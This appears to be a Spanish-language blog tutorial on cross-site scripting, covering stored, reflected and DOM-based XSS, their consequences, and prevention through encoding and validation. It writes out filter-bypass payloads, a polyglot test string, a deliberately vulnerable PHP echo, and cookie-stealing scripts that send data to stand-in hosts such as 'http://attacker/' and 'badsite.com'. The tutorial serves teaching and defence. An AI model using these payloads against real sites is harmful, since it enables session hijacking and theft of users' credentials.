![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/Alvaro_Chirou_XSS-attack-Cross-site-scripting-hacking-web.jpg?resize=1024%2C576&ssl=1)
Un XSS Attack o ataque de cross site scripting se trata de un tipo de ataque que aprovecha fallas de seguridad en sitios web y que permite a los atacantes implantar scripts maliciosos en un sitio web legítimo (también víctima del atacante) para ejecutar un script en el navegador de un usuario desprevenido que visita dicho sitio y afectarlo, ya sea robando credenciales, redirigiendo al usuario a otro sitio malicioso, o para realizar defacement en un sitio web.
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
![](https://i0.wp.com/achirou.com/wp-content/uploads/2023/11/image.png?resize=549%2C67&ssl=1)
XSS Cross-site scripting
Cross-site scripting (XSS) es un tipo de vulnerabilidad de seguridad que permite a un atacante inyectar código malicioso en una página web vista por otros usuarios. El complemento no desinfecta y escapa a algunas de sus opciones emergentes, lo que podría permitir a los usuarios con un rol tan bajo como Colaborador realizar ataques de secuencias de comandos entre sitios almacenados, que podrían usarse contra los administradores.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/6HpUP-What-are-cross-site-scripting-xss-attacks.png?resize=1024%2C265&ssl=1)
Las vulnerabilidades de “cross-site scripting” se producen cuando la falta de validación de entradas permite a los usuarios inyectar código de script en el sitio web de destino de forma que se ejecute en el navegador de otro usuario que esté visitando el mismo sitio web. Esto eludiría la política de mismo origen del navegador, ya que éste no tiene forma de distinguir el código de script auténtico del no auténtico, aparte de su origen.
Según el análisis de Wordfence las vulnerabilidades de Cross Site Scripting son la vulnerabilidad más común que se encuentra en los complementos de WordPress por un margen significativo.
XSS en números
Como puede ver en el gráfico anterior, si puede comprender completamente y eliminar solo las vulnerabilidades XSS en su código PHP, escribirá un 47% menos de vulnerabilidades. Así que dediquemos un tiempo a analizar XSS, qué es, cómo se explota y cómo prevenir las vulnerabilidades de XSS.
Muchas aplicaciones web tienen vectores de entrada con los que los usuarios pueden interactuar. Cuando esas entradas se reflejan en el contenido de una página y no se desinfectan o filtran lo suficiente, los atacantes pueden intentar inyectar código malicioso para alterar esa página. Los ataques más comunes que aprovechan estas vulnerabilidades son XSS (Cross-Site Scripting) y ataques de desfiguración. Si bien este tipo de desfiguración solo altera la apariencia visual de un sitio web, un XSS puede permitir a los atacantes inyectar código/scripts (JavaScript, por ejemplo) que serán ejecutados por los navegadores de las víctimas, causando así muchos más problemas a los usuarios.
La ejecución de código arbitrario en el navegador de una víctima puede permitir a un atacante realizar el robo de cookies (cuando las cookies no están protegidas, los atacantes pueden robarlas y usarlas para autenticarse como víctimas sin tener que conocer su contraseña), registro de teclas (los atacantes pueden espiar el víctimas y recuperar sus pulsaciones de teclas) o Phishing (los atacantes pueden cambiar la apariencia y el comportamiento del sitio y engañar a las víctimas para que envíen información confidencial a los servidores de los atacantes).
¿Pero, qué es una vulnerabilidad XSS?
Las vulnerabilidades XSS son increíblemente fáciles de escribir. De hecho, si simplemente escribe PHP de una manera que parezca intuitiva, es casi seguro que escribirá una vulnerabilidad XSS en su código. Afortunadamente, las vulnerabilidades XSS también son muy fáciles de reconocer.
1 | echo “The value you entered is: ” . $_GET[‘val’]; |
Esa es una vulnerabilidad XSS clásica. Si incluye este código en un complemento de WordPress, lo publica y su complemento se vuelve popular, no puede tener dudas de que un analista de seguridad en algún momento se comunicará con usted para informarle esta vulnerabilidad. Tendrás que arreglarlo y el analista lo hará público, dejándote un poco avergonzado, pero con una aplicación más segura.
Entonces, ¿por qué se trata de una vulnerabilidad XSS? La forma en que funciona el código anterior es que toma un valor de la URL y lo vuelve a escribir en el navegador, sin validar ni filtrar. Si su aplicación está alojada en https://example.com/test.php, un visitante del sitio podría visitar la siguiente URL:
https://ejemplo.com/test.php?val=123
Luego verán: “El valor que ingresó es: 123” en su navegador. Probablemente la forma en que se diseñó la aplicación para funcionar.
Si alguien visita la siguiente URL:
https://example.com/test.php?val=<script>alert(‘Prueba que esto es un XSS’);</script>
Verán lo siguiente en el navegador: “El valor que ingresó es:” y también verán un cuadro de alerta emergente que dice “Prueba que esto es un XSS”.
¿Por qué es peligrosa la salida sin filtrar?
Una demostración que muestra un cuadro de alerta no parece una gran amenaza. Si no comprende completamente el impacto de una vulnerabilidad XSS y alguien le informa este problema con un cuadro de alerta() como demostración de la vulnerabilidad, es posible que no se lo tome en serio. ¿Cómo puede la prueba de que puede ejecutar JavaScript ser una prueba de un problema de seguridad grave?
Cuando un analista le envía un cuadro de alerta () como prueba de una vulnerabilidad de seguridad, está demostrando que puede ejecutar código JavaScript arbitrario en el navegador. Lo que realmente están demostrando es que al enviar esa URL a otra persona, pueden lograr que esa otra persona ejecute javascript arbitrario en un navegador.
Una versión de un exploit podría verse así:
https://example.com/test.php?val=<script src=”http://badsite.com/badscript.js”></script>
El atacante enviará ese enlace a una víctima. Los pasos son los siguientes:
- La víctima hace clic en el enlace y visita el sitio. Supongamos que ya han iniciado sesión en el sitio web con acceso de nivel de administrador.
- El enlace y la vulnerabilidad XSS hacen que el script se cargue desde un sitio web externo a la página web de destino.
- El script tendrá acceso completo al entorno DOM del navegador, incluida cualquier cookie HTTP que no esté protegida por el indicador HttpOnly.
- El script realiza una acción maliciosa como usuario que ha iniciado sesión. También roba datos del sitio web al que puede acceder el usuario que ha iniciado sesión (por ejemplo, mensajes privados que el usuario ha recibido) y los envía al atacante. Los datos se pueden enviar de varias maneras, pero una podría ser cargar una imagen como esta desde un sitio web externo: http://badsite.com/badPretendImage.jpg?stolendata=secretDataValues. badPretendImage.jpg es en realidad un script que muestra una imagen pero también almacena los datos recibidos.
Ese es el mecanismo básico de explotación de una vulnerabilidad XSS: un atacante encuentra una manera de hacer que una víctima cargue su javascript utilizando una vulnerabilidad XSS en el sitio web. Lo usan para robar datos de los navegadores.
En el ejemplo anterior, hemos cargado un archivo javascript externo en la página. Las vulnerabilidades XSS varían y, para una vulnerabilidad particular, puede que no sea factible incluir etiquetas <SCRIPT> que carguen un script externo completo. Si eso no funciona, lo que podría funcionar es agregar javascript directamente en el exploit que se ejecuta y realiza alguna acción maliciosa.
¿Qué es la bandera HttpOnly y por qué es importante?
Antes de la versión 6SP1 de Internet Explorer, las cookies eran accesibles tanto para los servidores web cuando un navegador realizaba una solicitud como para JavaScript. En otras palabras, un script que se ejecuta en el navegador de un sitio web en particular podría simplemente leer todas las cookies que el sitio web haya configurado.
Esto proporcionó mucha flexibilidad a los desarrolladores, pero también permitió que scripts maliciosos leyeran los valores de las cookies y los enviaran a cualquier lugar de Internet. Si un atacante pudiera explotar una vulnerabilidad XSS, lo primero que haría sería robar todas las cookies que pudiera leer. Esto les permitiría obtener acceso instantáneo a nivel administrativo a sitios web si la víctima hubiera iniciado sesión en el sitio web de destino como administrador.
En 2002, Microsoft lanzó una función con Internet Explorer Service Pack 1 que proporcionaba un indicador especial opcional que podía configurarse cuando se configuraba una cookie. El indicador se llama HttpOnly y especifica que cualquier cookie que incluya el indicador HttpOnly no debe ser legible por javascript y solo debe enviarse al servidor web que configuró la cookie a través de HTTP. De ahí el nombre ‘HttpOnly’. Otros proveedores de navegadores adoptaron rápidamente la función porque los beneficios de seguridad eran claros. Esta bandera proporcionó una forma sólida de proteger las cookies confidenciales de ataques XSS. Hoy en día, todos los principales proveedores de navegadores admiten la bandera HttpOnly.
WordPress también utiliza el indicador HttpOnly para proteger las cookies, lo que evita que un atacante que aproveche una vulnerabilidad XSS robe cookies confidenciales.
Consejo: Cambiar la contraseña de un usuario de WordPress invalida sus cookies inmediatamente. Esto se puede utilizar para cerrar la sesión de un usuario en caso de sospecha de infracción.
CONSECUENCIAS
Esto puede permitir al atacante robar información confidencial, como credenciales de inicio de sesión o datos personales, o realizar acciones en nombre de la víctima, como realizar transacciones no autorizadas o publicar spam.
El XSS almacenado, en particular, ocurre cuando el código malicioso se almacena permanentemente en el sitio web, lo que le permite afectar a cualquier usuario que visite la página afectada. Las consecuencias pueden incluir pérdidas financieras, filtraciones de datos o daños a la reputación del sitio web.
Las principales consecuencias de XSS son:
- Robo de información: Un atacante puede robar información confidencial del usuario, como credenciales de inicio de sesión, información bancaria o datos personales.
- Ataques de phishing: Se puede utilizar XSS para engañar a los usuarios para que proporcionen información personal o confidencial, como contraseñas o números de tarjetas de crédito.
- Manipulación del contenido: También puede ser utilizado para manipular el contenido de un sitio web, por ejemplo, para mostrar mensajes falsos, redireccionar a los usuarios a sitios maliciosos o incluso para cambiar la apariencia del sitio web.
- Robo de sesiones: Es posible inyectar código malicioso que intercepte la sesión de un usuario, lo que le permite realizar acciones en nombre del usuario.
- Difusión de malware: También un atacante puede utilizar XSS para inyectar código malicioso que descarga y ejecuta malware en el equipo del usuario sin su conocimiento o consentimiento.
- El impacto exacto depende en gran medida de la aplicación.
- XSS es generalmente una amenaza para las aplicaciones web que tienen usuarios autenticados o que son sensibles a la seguridad.
- El código malicioso puede ser capaz de manipular el contenido del sitio, cambiando su apariencia y/o función para otro usuario.
- Esto incluye modificar el comportamiento de la aplicación web (como redirigir formularios, etc.).
- El código también puede ser capaz de realizar acciones dentro de la aplicación sin conocimiento del usuario.
- El código script también puede obtener y retransmitir los valores de las cookies si no han sido configuradas como HttpOnly.
Hay tres tipos principales de XSS:
- Almacenado : la entrada del usuario se almacena en el sitio web. Suele ocurrir en perfiles de usuario, foros, chats, etc., donde el contenido del usuario se almacena de forma permanente (o temporal). Los atacantes pueden inyectar cargas útiles maliciosas y todos los usuarios que naveguen por la página infectada se verán afectados. Esta es una de las formas más peligrosas de XSS porque la explotación no requiere phishing y puede afectar a muchos usuarios. Los XSS en páginas en las que solo el usuario del atacante tiene derecho a navegar (por ejemplo, la página de configuración del usuario) se denominan self-XSS y se considera que tienen un impacto cercano a 0, ya que teóricamente no puede afectar a otros usuarios.
- Reflejado : la entrada del usuario se refleja pero no se almacena. Suele ocurrir en formularios de búsqueda, páginas de inicio de sesión y páginas que reflejan contenido para una sola respuesta. Cuando la entrada vulnerable reflejada está en el URI ( http://www.target.com/search.php?keyword=INJECTION), los atacantes pueden crear un URI malicioso y enviarlo a las víctimas con la esperanza de que lo exploren. Esta forma de XSS generalmente requiere phishing y los atacantes pueden limitar la longitud de la carga maliciosa.
- Basado en DOM : mientras que los ataques XSS almacenados y reflejados explotan vulnerabilidades en el código del lado del servidor, un XSS basado en DOM explota las del lado del cliente (por ejemplo, JavaScript utilizado para ayudar a representar dinámicamente una página). Los XSS basados en DOM generalmente afectan las entradas del usuario que se reflejan temporalmente, al igual que los ataques XSS reflejados.
Práctica
Los evaluadores deben identificar los vectores de entrada (partes de la aplicación que aceptan contenido de los usuarios) que se almacenan o reflejan.
- Parámetros de URI para XSS reflejado y basado en DOM
- Otras entradas de usuarios en foros, chats, comentarios, publicaciones y otro contenido almacenado para XSS almacenado
- Encabezados HTTP como cookies (e incluso agentes de usuario en algunos casos)
Una de las cargas útiles más famosas es <script>alert(‘XSS’);</script>abrir una ventana emergente que hace eco de “XSS”. Sin embargo, explotar XSS es como jugar al “gato y al ratón”. Las entradas se pueden filtrar y los filtros se pueden omitir. A continuación se muestran algunos ejemplos básicos de cargas útiles XSS.
<script>alert('XSS');</script>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG onmouseover="alert('XSS')">
<<SCRIPT>alert("XSS");//<</SCRIPT>
El siguiente sitio web ( proyecto GitHub ) puede ayudar a identificar las transformaciones aplicadas a las entradas de los usuarios. Esto puede ayudar a eludir filtros y transformaciones para aprovechar los ataques XSS.
La siguiente carga útil se utiliza para probar inyecciones de SQL , XSS (Cross-Site Scripting) y SSTI (Inyección de plantilla del lado del servidor) .
‘”<svg/onload=prompt(5);>{{7*7}}
Herramientas como XSStrike (Python) y XSSer (Python) también pueden ayudar a encontrar y explotar vectores de entrada vulnerables XSS al fusionarlos con cargas útiles únicas y luego buscar patrones únicos en las respuestas.
El atacante no apunta directamente a su víctima. En cambio, explota una vulnerabilidad en un sitio web que visita la víctima, para que el sitio web le entregue el JavaScript malicioso. Para el navegador de la víctima, el JavaScript malicioso parece ser una parte legítima del sitio web y, por lo tanto, el sitio web ha actuado como cómplice involuntario del atacante.
Cómo se inyecta el JavaScript malicioso
La única forma que tiene el atacante de ejecutar su JavaScript malicioso en el navegador de la víctima es inyectarlo en una de las páginas que la víctima descarga del sitio web. Esto puede suceder si el sitio web incluye directamente la entrada del usuario en sus páginas, porque el atacante puede insertar una cadena que el navegador de la víctima tratará como código.
En el siguiente ejemplo, se utiliza un script simple del lado del servidor para mostrar el último comentario en un sitio web:
print "<html>"
print "Latest comment:"
print database.latestComment
print "</html>"
El script supone que un comentario consta únicamente de texto. Sin embargo, dado que la entrada del usuario se incluye directamente, un atacante podría enviar este comentario: ” <script>…</script>”. Cualquier usuario que visite la página recibirá ahora la siguiente respuesta:
<html>
Latest comment:
<script>…</script>
</html>
Cuando el navegador del usuario carga la página, ejecutará cualquier código JavaScript contenido dentro de las <script>etiquetas. El atacante ahora ha tenido éxito con su ataque.
¿Qué es JavaScript malicioso?
Al principio, la capacidad de ejecutar JavaScript en el navegador de la víctima puede no parecer particularmente maliciosa. Después de todo, JavaScript se ejecuta en un entorno muy restringido que tiene un acceso extremadamente limitado a los archivos y al sistema operativo del usuario. De hecho, podría abrir la consola JavaScript de su navegador ahora mismo y ejecutar cualquier JavaScript que desee, y sería muy poco probable que cause algún daño a su computadora.
Sin embargo, la posibilidad de que JavaScript sea malicioso se vuelve más clara cuando se consideran los siguientes hechos:
- JavaScript tiene acceso a parte de la información confidencial del usuario, como las cookies.
- JavaScript puede enviar solicitudes HTTP con contenido arbitrario a destinos arbitrarios mediante el uso XMLHttpRequestde otros mecanismos.
- JavaScript puede realizar modificaciones arbitrarias al HTML de la página actual utilizando métodos de manipulación DOM.
Estos hechos combinados pueden provocar fallos de seguridad muy graves, como explicaremos a continuación.
Las consecuencias del JavaScript malicioso
Entre muchas otras cosas, la capacidad de ejecutar JavaScript arbitrario en el navegador de otro usuario permite a un atacante realizar los siguientes tipos de ataques:
Robo de cookies
El atacante puede acceder a las cookies de la víctima asociadas con el sitio web mediante document.cookie, enviarlas a su propio servidor y utilizarlas para extraer información confidencial como ID de sesión.
Registro de teclas
El atacante puede registrar un detector de eventos de teclado addEventListenery luego enviar todas las pulsaciones de teclas del usuario a su propio servidor, registrando potencialmente información confidencial como contraseñas y números de tarjetas de crédito.
Suplantación de identidad
El atacante puede insertar un formulario de inicio de sesión falso en la página mediante manipulación DOM, configurar el actionatributo del formulario para que apunte a su propio servidor y luego engañar al usuario para que envíe información confidencial.
Aunque estos ataques difieren significativamente, todos tienen una similitud crucial: debido a que el atacante ha inyectado código en una página proporcionada por el sitio web, el JavaScript malicioso se ejecuta en el contexto de ese sitio web. Esto significa que se trata como cualquier otro script de ese sitio web: tiene acceso a los datos de la víctima para ese sitio web (como las cookies) y el nombre de host que se muestra en la barra de URL será el del sitio web. Para todos los efectos, el script se considera una parte legítima del sitio web, lo que le permite hacer cualquier cosa que el sitio web real pueda hacer.
Este hecho pone de relieve una cuestión clave:
Si un atacante puede utilizar su sitio web para ejecutar JavaScript arbitrario en el navegador de otro usuario, la seguridad de su sitio web y de sus usuarios se ha visto comprometida. Para enfatizar este punto, algunos ejemplos de este tutorial omitirán los detalles de un script malicioso al mostrar solo <script>…</script>. Esto indica que la mera presencia de un script inyectado por el atacante es el problema, independientemente del código específico que realmente ejecute el script.
Actores en un ataque XSS
Antes de describir en detalle cómo funciona un ataque XSS, debemos definir los actores involucrados en un ataque XSS. En general nvolucra a tres actores: el sitio web , la víctima y el atacante .
- El sitio web ofrece páginas HTML a los usuarios que las solicitan. En nuestros ejemplos, está ubicado en http://website/.
- La base de datos del sitio web es una base de datos que almacena algunas de las entradas del usuario incluidas en las páginas del sitio web.
- La víctima es un usuario normal del sitio web que solicita páginas del mismo a través de su navegador.
- El atacante es un usuario malintencionado del sitio web que pretende lanzar un ataque contra la víctima explotando una vulnerabilidad XSS en el sitio web.
- El servidor del atacante es un servidor web controlado por el atacante con el único propósito de robar información confidencial de la víctima. En nuestros ejemplos, está ubicado en http://attacker/.
Un ejemplo de escenario de ataque
En este ejemplo, asumiremos que el objetivo final del atacante es robar las cookies de la víctima explotando una vulnerabilidad XSS en el sitio web. Esto se puede hacer haciendo que el navegador de la víctima analice el siguiente código HTML:
<script>
window.location=’http://attacker/?cookie=’+document.cookie
</script>
Este script navega por el navegador del usuario a una URL diferente, lo que activa una solicitud HTTP al servidor del atacante. La URL incluye las cookies de la víctima como parámetro de consulta, que el atacante puede extraer de la solicitud cuando llega a su servidor. Una vez que el atacante ha adquirido las cookies, puede utilizarlas para hacerse pasar por la víctima y lanzar más ataques.
De ahora en adelante, el código HTML anterior se denominará cadena maliciosa o script malicioso . Es importante tener en cuenta que la cadena en sí sólo es maliciosa si finalmente se analiza como HTML en el navegador de la víctima, lo que sólo puede ocurrir como resultado de una vulnerabilidad XSS en el sitio web.
Cómo funciona el ataque
El siguiente diagrama ilustra cómo un atacante puede realizar este ataque de ejemplo:
- El atacante utiliza uno de los formularios del sitio web para insertar una cadena maliciosa en la base de datos del sitio web.
- La víctima solicita una página del sitio web.
- El sitio web incluye la cadena maliciosa de la base de datos en la respuesta y la envía a la víctima.
- El navegador de la víctima ejecuta el script malicioso dentro de la respuesta y envía las cookies de la víctima al servidor del atacante.
Tipos de XSS
Si bien el objetivo de un ataque XSS es siempre ejecutar JavaScript malicioso en el navegador de la víctima, existen pocas formas fundamentalmente diferentes de lograr ese objetivo. Los ataques XSS suelen dividirse en tres tipos:
- XSS persistente , donde la cadena maliciosa se origina en la base de datos del sitio web.
- XSS reflejado , donde la cadena maliciosa se origina a partir de la solicitud de la víctima.
- XSS basado en DOM , donde la vulnerabilidad está en el código del lado del cliente en lugar del código del lado del servidor.
El ejemplo anterior ilustró un ataque XSS persistente. Ahora describiremos los otros dos tipos de ataques XSS: XSS reflejado y XSS basado en DOM.
XSS reflejado
En un ataque XSS reflejado, la cadena maliciosa es parte de la solicitud de la víctima al sitio web. Luego, el sitio web incluye esta cadena maliciosa en la respuesta enviada al usuario. El siguiente diagrama ilustra este escenario:
- El atacante crea una URL que contiene una cadena maliciosa y se la envía a la víctima.
- El atacante engaña a la víctima para que solicite la URL del sitio web.
- El sitio web incluye la cadena maliciosa de la URL en la respuesta.
- El navegador de la víctima ejecuta el script malicioso dentro de la respuesta y envía las cookies de la víctima al servidor del atacante.
¿Cómo puede tener éxito el XSS reflejado?
Al principio, el XSS reflejado puede parecer inofensivo porque requiere que la propia víctima envíe una solicitud que contenga una cadena maliciosa. Dado que nadie se atacaría voluntariamente, no parece haber forma de realizar el ataque.
Resulta que hay al menos dos formas comunes de hacer que una víctima lance un ataque XSS reflejado contra sí misma:
- Si el usuario se dirige a un individuo específico, el atacante puede enviar la URL maliciosa a la víctima (mediante correo electrónico o mensajería instantánea, por ejemplo) y engañarla para que la visite.
- Si el usuario se dirige a un grupo grande de personas, el atacante puede publicar un enlace a la URL maliciosa (en su propio sitio web o en una red social, por ejemplo) y esperar a que los visitantes hagan clic en él.
Estos dos métodos son similares y ambos pueden tener más éxito con el uso de un servicio de acortamiento de URL, que enmascara la cadena maliciosa de los usuarios que de otro modo podrían identificarla.
Lo que hemos discutido anteriormente es una vulnerabilidad XSS reflejada. Un ataque XSS reflejado suele ser un enlace que contiene código malicioso. Cuando alguien hace clic en ese enlace, se le dirige a un sitio web vulnerable y ese código malicioso se “refleja” en su navegador para realizar alguna acción maliciosa.
Los ataques XSS reflejados son mucho menos peligrosos que las vulnerabilidades XSS almacenadas (ver más abajo) por varias razones:
Los ataques XSS reflejados dependen de que la víctima realice algún tipo de acción mediante la cual visita el sitio web de destino y hace que genere contenido que realiza una acción maliciosa en su navegador. Esto hace que los ataques XSS reflejados sean muy difíciles o, a veces, imposibles de automatizar. Cada víctima debe ser atacada individualmente con un correo electrónico o algún otro contenido que contenga un enlace malicioso en el que deben hacer clic para ser el objetivo del ataque.
XSS basado en DOM
XSS basado en DOM es una variante de XSS tanto persistente como reflejado. En un ataque XSS basado en DOM, el navegador de la víctima no analiza la cadena maliciosa hasta que se ejecuta el JavaScript legítimo del sitio web. El siguiente diagrama ilustra este escenario para un ataque XSS reflejado:
- El atacante crea una URL que contiene una cadena maliciosa y se la envía a la víctima.
- El atacante engaña a la víctima para que solicite la URL del sitio web.
- El sitio web recibe la solicitud, pero no incluye la cadena maliciosa en la respuesta.
- El navegador de la víctima ejecuta el script legítimo dentro de la respuesta, lo que provoca que el script malicioso se inserte en la página.
- El navegador de la víctima ejecuta el script malicioso insertado en la página y envía las cookies de la víctima al servidor del atacante.
¿Qué hace que XSS basado en DOM sea diferente?
En los ejemplos anteriores de ataques XSS persistentes y reflejados, el servidor inserta el script malicioso en la página, que luego se envía como respuesta a la víctima. Cuando el navegador de la víctima recibe la respuesta, asume que el script malicioso es parte del contenido legítimo de la página y lo ejecuta automáticamente durante la carga de la página como con cualquier otro script.
Sin embargo, en el ejemplo de un ataque XSS basado en DOM, no se inserta ningún script malicioso como parte de la página; el único script que se ejecuta automáticamente durante la carga de la página es una parte legítima de la página. El problema es que este script legítimo utiliza directamente la entrada del usuario para agregar HTML a la página. Debido a que la cadena maliciosa se inserta en la página usando innerHTML, se analiza como HTML, lo que provoca que se ejecute el script malicioso.
La diferencia es sutil pero importante:
- En XSS tradicional, el JavaScript malicioso se ejecuta cuando se carga la página, como parte del HTML enviado por el servidor.
- En XSS basado en DOM, el JavaScript malicioso se ejecuta en algún momento después de que la página se haya cargado, como resultado de que el JavaScript legítimo de la página trata la entrada del usuario de forma insegura.
Por qué es importante el XSS basado en DOM
En el ejemplo anterior, JavaScript no era necesario; el servidor podría haber generado todo el HTML por sí solo. Si el código del lado del servidor estuviera libre de vulnerabilidades, el sitio web estaría a salvo de XSS.
Sin embargo, a medida que las aplicaciones web se vuelven más avanzadas, JavaScript genera una cantidad cada vez mayor de HTML en el lado del cliente en lugar de hacerlo en el servidor. Cada vez que sea necesario cambiar el contenido sin actualizar toda la página, la actualización debe realizarse mediante JavaScript. En particular, este es el caso cuando una página se actualiza después de una solicitud AJAX.
Esto significa que las vulnerabilidades XSS pueden estar presentes no sólo en el código del lado del servidor de su sitio web, sino también en el código JavaScript del lado del cliente de su sitio web. En consecuencia, incluso con un código del lado del servidor completamente seguro, el código del lado del cliente aún podría incluir de manera insegura la entrada del usuario en una actualización del DOM después de que se haya cargado la página. Si esto sucede, el código del lado del cliente ha habilitado un ataque XSS sin que sea culpa del código del lado del servidor.
XSS basado en DOM invisible para el servidor
Existe un caso especial de XSS basado en DOM en el que, para empezar, la cadena maliciosa nunca se envía al servidor del sitio web: cuando la cadena maliciosa está contenida en el identificador de fragmento de una URL (cualquier cosa después del carácter #). Los navegadores no envían esta parte de la URL a los servidores, por lo que el sitio web no tiene forma de acceder a ella mediante el código del lado del servidor. El código del lado del cliente, sin embargo, tiene acceso a él y, por lo tanto, puede causar vulnerabilidades XSS si lo maneja de manera insegura.
Esta situación no se limita a los identificadores de fragmentos. Otras entradas del usuario que son invisibles para el servidor incluyen nuevas funciones HTML5 como LocalStorage e IndexedDB.
Vulnerabilidades XSS almacenadas (o persistentes)
Un ataque XSS almacenado es mucho más peligroso por dos razones.
En primer lugar, se puede automatizar un ataque XSS almacenado. Se puede crear un script que visite miles de sitios web, explote una vulnerabilidad en cada sitio y suelte una carga útil XSS almacenada.
En segundo lugar, las víctimas de un ataque XSS almacenado no tienen que realizar ninguna otra acción que no sea visitar el sitio web afectado. Cualquiera que visite la página afectada del sitio se convertirá en víctima porque el código malicioso almacenado se cargará en su navegador. Las víctimas no necesitan realizar ninguna acción adicional, como hacer clic en un enlace enviado por correo electrónico, para verse afectadas.
Ataque XSS almacenado
Un ataque XSS almacenado ocurre cuando un atacante envía datos maliciosos a un sitio web que está almacenado en una base de datos o algún otro mecanismo de almacenamiento. Luego, cuando otros visitantes del sitio visitan una página o una URL específica, reciben esos datos que ejecutan y realizan algún tipo de acción maliciosa. Veamos un ejemplo:
El código anterior es una aplicación de libro de visitas muy básica. También es un ejemplo clásico de vulnerabilidad XSS almacenada. Cuando cargue esta aplicación, verá un formulario que le pedirá que firme un libro de visitas que se ve así:
Una vez que firmes el libro de visitas varias veces, verás algo como esto:
Si ingresa algo de javascript en el cuadro de texto de firma que ejecuta un cuadro de alerta, verá esto:
Lo que sucedió aquí es que un invitado ingresó algo de JavaScript en el campo “Firmar” que se ve así:
1 | <script>alert(‘XSS Expoit worked’);</script> |
El javascript se almacenó y ahora se entrega a todos los visitantes de la página del libro de visitas. Esta es una vulnerabilidad XSS almacenada que tiene un impacto mucho más amplio que una vulnerabilidad XSS reflejada. Puede usarse para robar datos de cada visitante de la página afectada, no solo de los visitantes que hacen clic en un enlace especialmente diseñado. Por esta razón, las vulnerabilidades XSS almacenadas son mucho más graves que las XSS reflejadas.
Solución
Solucionar esta vulnerabilidad es fácil validando la entrada y desinfectando y escapando la salida. Apliquemos eso a este script. Revise los cambios a continuación.
Como puede ver en el ejemplo anterior, estamos validando los datos usando una expresión regular. Ahora sólo permitimos un pequeño subconjunto de caracteres en el libro de visitas. Aunque no permitimos etiquetas HTML, ejecutamos los datos a través de la función filter_var() de PHP con el filtro FILTER_SANITIZE_STRING para desinfectar la cadena, lo que eliminará cualquier etiqueta que pueda filtrarse debido a un error en nuestro código. FILTER_SANITIZE_STRING en realidad elimina cualquier etiqueta que encuentre.
Luego, cuando generamos cada registro en el libro de visitas, usamos filter_var con el filtro FILTER_SANITIZE_FULL_SPECIAL_CHARS que no elimina las etiquetas, pero las escapa si están presentes. Entonces, en el ejemplo anterior, estamos validando y desinfectando la entrada y escapando en la salida. Esto proporciona mucha protección contra un XSS almacenado en el caso de un libro de visitas.
Una nota adicional sobre el código anterior:
probablemente hayas notado algunas otras cosas que podríamos hacer más seguras. Por ejemplo, almacenamos nuestro libro de visitas en un archivo que se encuentra en una carpeta accesible desde la web. Eso significa que el público puede leer los datos sin procesar. Esto en sí mismo es indeseable y darle a un atacante acceso de lectura a un archivo que no está diseñado para el consumo público puede introducir más vulnerabilidades. Una forma de solucionar esto es crear un archivo de datos pero darle una extensión PHP. Luego haga que la primera línea del archivo contenga lo siguiente:
1 | <?php die(“Nothing to see here!”); ?> |
Cuando escriba en el archivo, asegúrese de que la primera línea permanezca intacta. Cuando leas el archivo, descarta siempre la primera línea. Almacene el archivo con una extensión .php, por ejemplo, data.php. Luego, si un atacante intenta acceder al archivo, el servidor web lo tratará como PHP ejecutable y lo cerrará inmediatamente.
Métodos para prevenir XSS
Recuerde que un ataque XSS es un tipo de inyección de código: la entrada del usuario se interpreta erróneamente como código de programa malicioso. Para evitar este tipo de inyección de código, es necesario un manejo seguro de la entrada. Para un desarrollador web, existen dos formas fundamentalmente diferentes de realizar un manejo seguro de la entrada:
- Codificación , que escapa de la entrada del usuario para que el navegador la interprete solo como datos, no como código.
- Validación , que filtra la entrada del usuario para que el navegador la interprete como código sin comandos maliciosos.
Si bien estos son métodos fundamentalmente diferentes para prevenir XSS, comparten varias características comunes que es importante comprender al usar cualquiera de ellos:
- Contexto: El manejo seguro de la entrada debe realizarse de manera diferente según en qué parte de una página se inserte la entrada del usuario.
- Entrante y saliente: El manejo seguro de la entrada se puede realizar cuando su sitio web recibe la entrada (entrante) o justo antes de que su sitio web inserte la entrada en una página (saliente).
- Servidor de cliente: El manejo seguro de la entrada se puede realizar en el lado del cliente o en el lado del servidor, los cuales son necesarios en diferentes circunstancias. Antes de explicar en detalle cómo funcionan la codificación y la validación, describiremos cada uno de estos puntos.
Contextos de manejo de entradas
Hay muchos contextos en una página web donde se pueden insertar las entradas del usuario. Para cada uno de ellos, se deben seguir reglas específicas para que la entrada del usuario no pueda salirse de su contexto y ser interpretada como código malicioso. A continuación se detallan los contextos más comunes:
Contexto | Código de ejemplo |
contenido del elemento HTML | <div>userInput</div> |
valor del atributo HTML | <input value=”userInput“> |
valor de consulta de URL | http://example.com/?parameter=userInput |
valor CSS | color: userInput |
valor de javascript | var name = “userInput“; |
Por qué el contexto importa
En todos los contextos descritos, surgiría una vulnerabilidad XSS si la entrada del usuario se insertara antes de codificarse o validarse por primera vez. Luego, un atacante podría inyectar código malicioso simplemente insertando el delimitador de cierre para ese contexto y siguiéndolo con el código malicioso. Por ejemplo, si en algún momento un sitio web inserta información del usuario directamente en un atributo HTML, un atacante podría inyectar un script malicioso comenzando su entrada con una comilla, como se muestra a continuación:
Código de aplicación | <input value=”userInput“> |
Cadena maliciosa | “><script>…</script><input value=” |
Código resultante | <input value=”“><script>…</script><input value=”“> |
Esto podría evitarse simplemente eliminando todas las comillas en la entrada del usuario, y todo estaría bien, pero sólo en este contexto. Si la misma entrada se insertara en otro contexto, el delimitador de cierre sería diferente y la inyección sería posible. Por esta razón, el manejo seguro de la entrada siempre debe adaptarse al contexto donde se insertará la entrada del usuario.
Manejo de entradas entrantes y salientes
Instintivamente, podría parecer que XSS se puede prevenir codificando o validando todas las entradas del usuario tan pronto como su sitio web las reciba. De esta manera, cualquier cadena maliciosa ya debería haber sido neutralizada cada vez que se incluye en una página, y los scripts que generan HTML no tendrán que preocuparse por el manejo seguro de la entrada.
El problema es que, como se describió anteriormente, la entrada del usuario se puede insertar en varios contextos en una página. No existe una manera fácil de determinar cuándo llega la entrada del usuario y en qué contexto se insertará finalmente, y la misma entrada del usuario a menudo debe insertarse en contextos diferentes. Por lo tanto, confiar en el manejo de la entrada entrante para evitar XSS es una solución muy frágil que será propensa a errores. (La característica obsoleta de ” comillas mágicas ” de PHP es un ejemplo de dicha solución).
